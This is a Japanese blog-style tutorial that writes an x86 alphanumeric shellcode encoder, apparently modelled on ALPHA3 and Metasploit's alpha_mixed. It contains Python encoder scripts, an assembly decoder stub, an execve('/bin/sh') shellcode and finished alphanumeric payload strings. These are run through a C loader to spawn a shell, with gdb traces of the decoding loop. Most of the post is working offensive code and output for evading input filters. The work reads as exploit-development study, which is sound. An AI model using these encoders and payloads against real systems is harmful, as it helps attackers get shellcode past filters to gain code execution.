x86 alphanumeric shellcode encoderを書いてみる

「x86 alphanumeric shellcodeを書いてみる」では、主にxorを使いシェルコードを展開した。 ここで使わなかった命令としてcmp命令、jmp系命令、imul命令があるが、これらも使うとより短いalphanumeric shellcodeを作ることができる。 ここでは、ALPHA3エンコーダの実装を参考に、任意のシェルコードをalphanumeric shellcodeに変換するエンコーダを書いてみる。

エンコーダの概要

x86においてはjmp系命令を使うことができるため、1バイトずつデコードするループを作ることができる。 また、「x86 alphanumeric shellcodeを書いてみる」でも触れたように、alphanumericなバイト同士のxorだけでは最上位ビットが1のバイト(0x80-0xff)を作ることができない。 先のエントリではxorで必要に応じて反転させていたが、imul命令を使うとより一般的な形で任意のバイトを作ることができる。 具体的には、あるxに対してx ^ (y*0x30) ^ zの形で適当なy、zを与えることで、任意のバイトを作る。

ここでは、まず任意のシェルコードをalphanumericなバイト列に変換するエンコーダを書く。 次に、これのデコーダアセンブリコードで書き、最後にこれらを繋げて最終的なシェルコードを出力するフルエンコーダを作る。

Pythonでエンコーダを書いてみる

まずは、上で説明した方法でシェルコードを変換するエンコーダを書いてみる。

# alnum_encoder.py
import sys

first_byte = int(sys.argv[1], 16)

chars = range(0x30,0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b)
pairs = [(y, z) for y in chars for z in chars]

data = chr(first_byte)
data += sys.stdin.read()
data += '\x00'

encoded = [0x30]
print >>sys.stderr, "[+]     %02x" % encoded[0]

for i, c in enumerate(data):
    original_byte = ord(c)
    x = encoded[i]
    for y, z in pairs:
        if (x^(y*0x30)^z) & 0xFF == original_byte:
            print >>sys.stderr, "[+] %02x: %02x %02x" % (original_byte, y, z)
            encoded += [y, z]
            break
    else:
        raise Exception("something wrong: %02x" % original_byte)

print bytearray(encoded)

このコードは標準入力からシェルコードを受け取るのと同時に、追加で生成する先頭1バイトの値を引数に取る。 この1バイトは、後述するデコーダのループ部の構築に利用する。 また、シェルコードの後にも0x00を追加している。 これは、デコーダにおけるループの終了判定に使う。

処理の内容としては、1バイトずつ総当たりで条件を満たすy, zを探索している。 ここで、計算のベースとなるxはすでにエンコード済みのバイト列から1バイトずつ順に利用している。 こうすることで、1つのバイトのエンコードのために新たに必要なバイトは2バイトとなる。

普通のシェルコードをファイルに書き出し、エンコードしてみる。

$ echo -en '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' > execve

$ cat execve | python alnum_encoder.py 0x90
[+]     30
[+] 90: 33 30
[+] 31: 31 32
[+] d2: 33 72
[+] 52: 30 63
[+] 68: 30 5a
[+] 2f: 37 4c
[+] 2f: 31 6d
[+] 73: 30 43
[+] 68: 32 6b
[+] 68: 30 58
[+] 2f: 30 75
[+] 62: 30 55
[+] 69: 32 45
[+] 6e: 31 6f
[+] 89: 33 74
[+] e3: 33 43
[+] 52: 32 71
[+] 53: 30 61
[+] 89: 33 72
[+] e1: 33 41
[+] 8d: 33 45
[+] 42: 30 72
[+] 0b: 31 4e
[+] cd: 33 6d
[+] 80: 33 45
[+] 00: 30 32
030123r0c0Z7L1m0C2k0X0u0U2E1o3t3C2q0a3r3A3E0r1N3m3E02

出力からわかるように、このエンコーダはnバイトの入力を2*n+5バイトに変換する。

アセンブリデコーダを書いてみる

次に、エンコードされたバイト列を元に戻すデコーダアセンブリで書いてみる。

        /* alnum_decoder.s */
        .intel_syntax noprefix
        .globl _start
_start:
        push eax
        pop ecx

        /* esi = -0x30 + 0x1a - 1 = -23 = 0xffffffe9 */
        push 0x33333333
        .byte 0x6b, 0x34, 0x64, 0x73  /* imul esi, [esp+2*eiz], 0x73 */

decoder:
        inc esi
        imul eax, [ecx+2*esi-0x1a+0x61], 0x30
        xor al, [ecx+2*esi-0x1a+0x62]
        xor [ecx+esi+0x30], al
        .byte 0x75  /* jne decoder = 75 f0 */

data:
        /* encoded data here (offset 0x1a) */

このコードはeaxレジスタに先頭のアドレスが入っていることを前提とする。 eax以外のレジスタの場合は、最初のpush eaxに対応する1バイトを書き換えればよい。 また、最後の部分にはエンコードされたバイト列を置く。 デコーダはこれらを1バイトずつデコードしていき、0x00が出力されたタイミングでループを抜け、デコードされたシェルコードに処理を移す。

このコードは、SIBにおけるindexレジスタがesiのときのみscaleに2だけでなく1も使えることに着目し、esiをカウンタとして使う。 さらに、esiの初期値のセットにpush imm32imul esi, [esp+2*eiz], imm8を使う。 eizはSIBバイトにてscaleが0以外かつindexレジスタが存在しない場合において擬似的に表示されるレジスタ名である。 通常imul esi, [esp], imm86B 34 24 imm8アセンブルされalphanumericにならないが、意図的にこの形を用いることでalphanumericにできる。 ただし、アセンブリ構文としてeizレジスタを書くことはできないので、ここでは対応するバイト列を直接記述している。

esiの初期値を作るために必要な値は次のスクリプトを使って調べた。

# decomposite.py
import sys

target = int(sys.argv[1], 16)

chars = range(0x30, 0x3a) + range(0x40, 0x5b) + range(0x60, 0x7b)
pairs = [(x, y) for x in chars for y in chars]

for x, y in pairs:
    for i in range(0x100):
        if ((x*y) & 0xFF == 0xFF-i) and ((x*y)>>8 == i):
            x *= 0x01010101  # 0x41 => 0x41414141
            if (x*y) & 0xFFFFFFFF == target:
                print "%08x * %02x == %08x" % (x, y, x*y)

このコードは目的となる初期値を引数に取り、総当たりで条件を満たす値の組み合わせを探索する。

$ python decomposite.py 0xffffffe9
33333333 * 73 == 16ffffffe9
45454545 * 55 == 16ffffffe9
55555555 * 45 == 16ffffffe9
73737373 * 33 == 16ffffffe9

ここでは、一番上の組み合わせを利用した。

ループでは、カウンタであるesiをインクリメントしながら、対応するx, y, zを用いて1バイトずつデコードしていく。 ループの終了条件にはxorの結果が0となったときZero flagが立つことを利用し、jne命令にて分岐を行う。 ここで、jne命令の相対アドレス指定は負数となるため、この部分のバイト(0xf0)もデコーダに作らせるようにする。

アセンブルしてバイト列を確認すると、すべてalphanumericにできていることがわかる。

$ gcc -nostdlib alnum_decoder.s

$ objdump -d a.out
08048098 <_start>:
 8048098:       50                      push   eax
 8048099:       59                      pop    ecx
 804809a:       68 33 33 33 33          push   0x33333333
 804809f:       6b 34 64 73             imul   esi,DWORD PTR [esp+eiz*2],0x73

080480a3 <decoder>:
 80480a3:       46                      inc    esi
 80480a4:       6b 44 71 47 30          imul   eax,DWORD PTR [ecx+esi*2+0x47],0x30
 80480a9:       32 44 71 48             xor    al,BYTE PTR [ecx+esi*2+0x48]
 80480ad:       30 44 31 30             xor    BYTE PTR [ecx+esi*1+0x30],al
 80480b1:       75                      .byte 0x75

$ objdump -s a.out

a.out:     file format elf32-i386

Contents of section .note.gnu.build-id:
 8048074 04000000 14000000 03000000 474e5500  ............GNU.
 8048084 a7de8288 295ebbb2 04c34dbe e1a3eb6c  ....)^....M....l
 8048094 6dd82455                             m.$U
Contents of section .text:
 8048098 50596833 3333336b 34647346 6b447147  PYh3333k4dsFkDqG
 80480a8 30324471 48304431 3075               02DqH0D10u

$ strings -n8 a.out
PYh3333k4dsFkDqG02DqH0D10u

このshellcode decoderのサイズは26バイトである。

シェルコードにジャンプさせてみる

最初の1バイトを0xf0とした上で、普通のシェルコードをエンコードすると次のようになる。

$ cat execve | python alnum_encoder.py 0xf0
[+]     30
[+] f0: 33 50
[+] 31: 31 32
[+] d2: 34 42
[+] 52: 30 63
[+] 68: 30 5a
[+] 2f: 37 4b
[+] 2f: 30 6d
[+] 73: 30 43
[+] 68: 32 6b
[+] 68: 30 58
[+] 2f: 30 75
[+] 62: 30 55
[+] 69: 32 42
[+] 6e: 31 6e
[+] 89: 33 74
[+] e3: 33 43
[+] 52: 32 71
[+] 53: 30 61
[+] 89: 33 72
[+] e1: 33 41
[+] 8d: 33 45
[+] 42: 30 72
[+] 0b: 31 4e
[+] cd: 33 6d
[+] 80: 33 45
[+] 00: 30 32
03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02

第一引数に与えたシェルコードにジャンプするコードを書いてみる。

/* loader.c */

int main(int argc, char *argv[])
{
    (*(void (*)())argv[1])();
}

DEP無効にてコンパイルし、デコーダエンコード済みバイト列を繋げたものを引数として実行してみる。

$ gcc -z execstack loader.c

$ decoder=PYh3333k4dsFkDqG02DqH0D10u

$ data=03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02

$ ./a.out "$decoder$data"
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

デコーダによりシェルコードが展開され、シェルが起動できていることが確認できた。

gdbで動作を確認してみる

実行時の動作をgdbを使って調べてみる。 --argsオプションを使い、引数を与えた状態でgdbを起動する。 次に、シェルコードにジャンプする直前まで処理を進めてみる。

$ gdb -q --args a.out "$decoder$data"
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x80483b7
Starting program: /home/user/tmp/a.out PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02

Temporary breakpoint 1, 0x080483b7 in main ()
(gdb) disp/i $pc
1: x/i $pc
=> 0x80483b7 <main+3>:  and    esp,0xfffffff0
(gdb) disas
Dump of assembler code for function main:
   0x080483b4 <+0>:     push   ebp
   0x080483b5 <+1>:     mov    ebp,esp
=> 0x080483b7 <+3>:     and    esp,0xfffffff0
   0x080483ba <+6>:     mov    eax,DWORD PTR [ebp+0xc]
   0x080483bd <+9>:     add    eax,0x4
   0x080483c0 <+12>:    mov    eax,DWORD PTR [eax]
   0x080483c2 <+14>:    call   eax
   0x080483c4 <+16>:    leave
   0x080483c5 <+17>:    ret
End of assembler dump.
(gdb) u *main+14
0x080483c2 in main ()
1: x/i $pc
=> 0x80483c2 <main+14>: call   eax

シェルコードにジャンプし、最初の1バイトのデコード前と後の様子を調べてみる。

(gdb) si
0xbffff91e in ?? ()
1: x/i $pc
=> 0xbffff91e:  push   eax
(gdb) x/10i $pc
=> 0xbffff91e:  push   eax
   0xbffff91f:  pop    ecx
   0xbffff920:  push   0x33333333
   0xbffff925:  imul   esi,DWORD PTR [esp+eiz*2],0x73
   0xbffff929:  inc    esi
   0xbffff92a:  imul   eax,DWORD PTR [ecx+esi*2+0x47],0x30
   0xbffff92f:  xor    al,BYTE PTR [ecx+esi*2+0x48]
   0xbffff933:  xor    BYTE PTR [ecx+esi*1+0x30],al
   0xbffff937:  jne    0xbffff969
   0xbffff939:  xor    edx,DWORD PTR [eax+0x31]
(gdb) b *0xbffff933
Breakpoint 2 at 0xbffff933
(gdb) c
Continuing.

Breakpoint 2, 0xbffff933 in ?? ()
1: x/i $pc
=> 0xbffff933:  xor    BYTE PTR [ecx+esi*1+0x30],al
(gdb) x/2bx $ecx+$esi*2+0x47
0xbffff939:     0x33    0x50
(gdb) x/bx $ecx+$esi+0x30
0xbffff938:     0x30
(gdb) si
0xbffff937 in ?? ()
1: x/i $pc
=> 0xbffff937:  jne    0xbffff929
(gdb) x/bx $ecx+$esi+0x30
0xbffff938:     0xf0

最初jne 0xbffff969だった箇所が、デコード後jne 0xbffff929になっていることがわかる。 ここで、0xbffff929はinc esiのあるアドレスであり、ループが完成している。 これは、0x30 ^ (0x33*0x30) ^ 0x50 == 0x9f0が実行され、alレジスタに対応する0xf0が75の後に書き込まれたためである。

次のループも確認してみる。

(gdb) c
Continuing.

Breakpoint 2, 0xbffff933 in ?? ()
1: x/i $pc
=> 0xbffff933:  xor    BYTE PTR [ecx+esi*1+0x30],al
(gdb) x/2bx $ecx+$esi*2+0x47
0xbffff93b:     0x31    0x32
(gdb) x/bx $ecx+$esi+0x30
0xbffff939:     0x33
(gdb) si
0xbffff937 in ?? ()
1: x/i $pc
=> 0xbffff937:  jne    0xbffff929
(gdb) x/bx $ecx+$esi+0x30
0xbffff939:     0x31

ここでは、0x33 ^ (0x31*0x30) ^ 0x32 == 0x931が実行され、alレジスタに対応する0x31が次の場所に書き込まれている。 これは与えたシェルコードの1バイト目である。 以降、esiをインクリメントしながら1バイトずつ書き込みが行われていき、0x00が書き込まれたタイミングでループを抜けることになる。

ブレークポイントを設定し直し、デコードされた後の様子を調べてみる。

(gdb) d
Delete all breakpoints? (y or n) y
(gdb) b *0xbffff939
Breakpoint 3 at 0xbffff939
(gdb) c
Continuing.

Breakpoint 3, 0xbffff939 in ?? ()
1: x/i $pc
=> 0xbffff939:  xor    edx,edx
(gdb) x/10i $pc
=> 0xbffff939:  xor    edx,edx
   0xbffff93b:  push   edx
   0xbffff93c:  push   0x68732f2f
   0xbffff941:  push   0x6e69622f
   0xbffff946:  mov    ebx,esp
   0xbffff948:  push   edx
   0xbffff949:  push   ebx
   0xbffff94a:  mov    ecx,esp
   0xbffff94c:  lea    eax,[edx+0xb]
   0xbffff94f:  int    0x80
(gdb) c
Continuing.
process 2299 is executing new program: /bin/dash
$
[Inferior 1 (process 2299) exited normally]
(gdb) quit

0x00が書き込まれた結果ループを抜け、デコードされたシェルコードに処理が移っていることがわかる。

バッファのアドレスが入ったレジスタがない場合を考える

上で作ったデコーダはeaxレジスタに先頭アドレスが入っていることを前提としていた。 Metaploitのx86/alpha_mixedエンコーダにならい、このようなレジスタが使えない場合についても考えてみる。

call命令が直後の命令の置かれたアドレスをスタックに積むことを利用し、ecxに先頭アドレスをセットするコードを書くと次のようになる。

        /* alnum_decoder2.s */
        .intel_syntax noprefix
        .globl _start
_start:
        jmp caller
callee:
        jmp base
caller:
        call callee
base:
        pop ecx
        inc esi  /* padding */

        /* esi = -0x30 + 0x1a - 1 = -23 = 0xffffffe9 */
        push 0x33333333
        .byte 0x6b, 0x34, 0x64, 0x73  /* imul esi, [esp+2*eiz], 0x73 */

decoder:
        inc esi
        imul eax, [ecx+2*esi-0x1a+0x61], 0x30
        xor al, [ecx+2*esi-0x1a+0x62]
        xor [ecx+esi+0x30], al
        .byte 0x75  /* jne decoder = 75 f0 */

data:
        /* encoded data here (offset 0x1a) */

ここでは先に書いたコードとオフセットが一致するように、パディングを加えている。

アセンブルしてバイト列を確認してみると、次のようになる。

$ gcc -nostdlib alnum_decoder2.s

$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g'
\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x59\x46\x68\x33\x33\x33\x33\x6b\x34\x64\x73\x46\x6b\x44\x71\x47\x30\x32\x44\x71\x48\x30\x44\x31\x30\x75

$ python
Python 2.7.3 (default, Feb 27 2014, 20:00:17)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x59\x46\x68\x33\x33\x33\x33\x6b\x34\x64\x73\x46\x6b\x44\x71\x47\x30\x32\x44\x71\x48\x30\x44\x31\x30\x75'
'\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u'
>>> len(_)
35
>>>

この場合のshellcode encoderのサイズは35バイトである。 また、alphanumericなコードにはならない。

エンコード済みシェルコードと繋げ、実行させてみると次のようになる。

$ gcc -z execstack loader.c

$ decoder=$'\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u'

$ data=03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02

$ ./a.out "$decoder$data"
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

call命令とpop命令によりシェルコードが置かれたアドレスが解決され、シェルが起動できていることがわかる。

フルエンコーダを書いてみる

最後に、シェルコードをエンコードした上でデコーダと繋げるフルエンコーダを書いてみる。

# alnum_encode.py
import sys

buffer_register = sys.argv[1] if len(sys.argv) > 1 else None

chars = range(0x30,0x3a) + range(0x41, 0x5b) + range(0x61, 0x7b)
pairs = [(y, z) for y in chars for z in chars]
regs = ['eax', 'ecx', 'edx', 'ebx', 'esp', 'ebp', 'esi', 'edi']

data = '\xf0'
data += sys.stdin.read()
data += '\x00'

encoded = [0x30]
print >>sys.stderr, "[+]     %02x" % encoded[0]

for i, c in enumerate(data):
    original_byte = ord(c)
    x = encoded[i]
    for y, z in pairs:
        if (x^(y*0x30)^z) & 0xFF == original_byte:
            print >>sys.stderr, "[+] %02x: %02x %02x" % (original_byte, y, z)
            encoded += [y, z]
            break
    else:
        raise Exception("something wrong: %02x" % original_byte)

if buffer_register:
    try:
        r = regs.index(buffer_register.lower())
    except ValueError:
        raise Exception("unsupported register: %s" % buffer_register)

    # push reg; pop ecx
    print >>sys.stderr, "[+] using buffer register: %s" % buffer_register
    buf = chr(0x50+r) + 'Y'
else:
    # set ecx by using call
    print >>sys.stderr, "[+] not using buffer register"
    buf = '\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYF'

buf += 'h3333k4dsFkDqG02DqH0D10u'
buf += str(bytearray(encoded))

print >>sys.stderr, "[+] encoded %d bytes => %d bytes" % (len(data)-2, len(buf))
print repr(buf)

このコードは引数にシェルコードの先頭アドレスが入っているレジスタ名を取る。 また、引数を与えなかった場合は、call命令により先頭アドレスを取得するデコーダを使う。

普通のシェルコードを入力とし、実行してみると次のようになる。

$ cat execve | python alnum_encode.py eax
[+]     30
[+] f0: 33 50
[+] 31: 31 32
[+] d2: 34 42
[+] 52: 30 63
[+] 68: 30 5a
[+] 2f: 37 4b
[+] 2f: 30 6d
[+] 73: 30 43
[+] 68: 32 6b
[+] 68: 30 58
[+] 2f: 30 75
[+] 62: 30 55
[+] 69: 32 42
[+] 6e: 31 6e
[+] 89: 33 74
[+] e3: 33 43
[+] 52: 32 71
[+] 53: 30 61
[+] 89: 33 72
[+] e1: 33 41
[+] 8d: 33 45
[+] 42: 30 72
[+] 0b: 31 4e
[+] cd: 33 6d
[+] 80: 33 45
[+] 00: 30 32
[+] using buffer register: eax
[+] encoded 24 bytes => 79 bytes
'PYh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02'

$ cat execve | python alnum_encode.py
[+]     30
[+] f0: 33 50
[+] 31: 31 32
[+] ...
[+] 00: 30 32
[+] not using buffer register
[+] encoded 24 bytes => 88 bytes
'\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xffYFh3333k4dsFkDqG02DqH0D10u03P124B0c0Z7K0m0C2k0X0u0U2B1n3t3C2q0a3r3A3E0r1N3m3E02'

ここで生成されたコードは、先に動作を確認したものと同じである。

関連リンク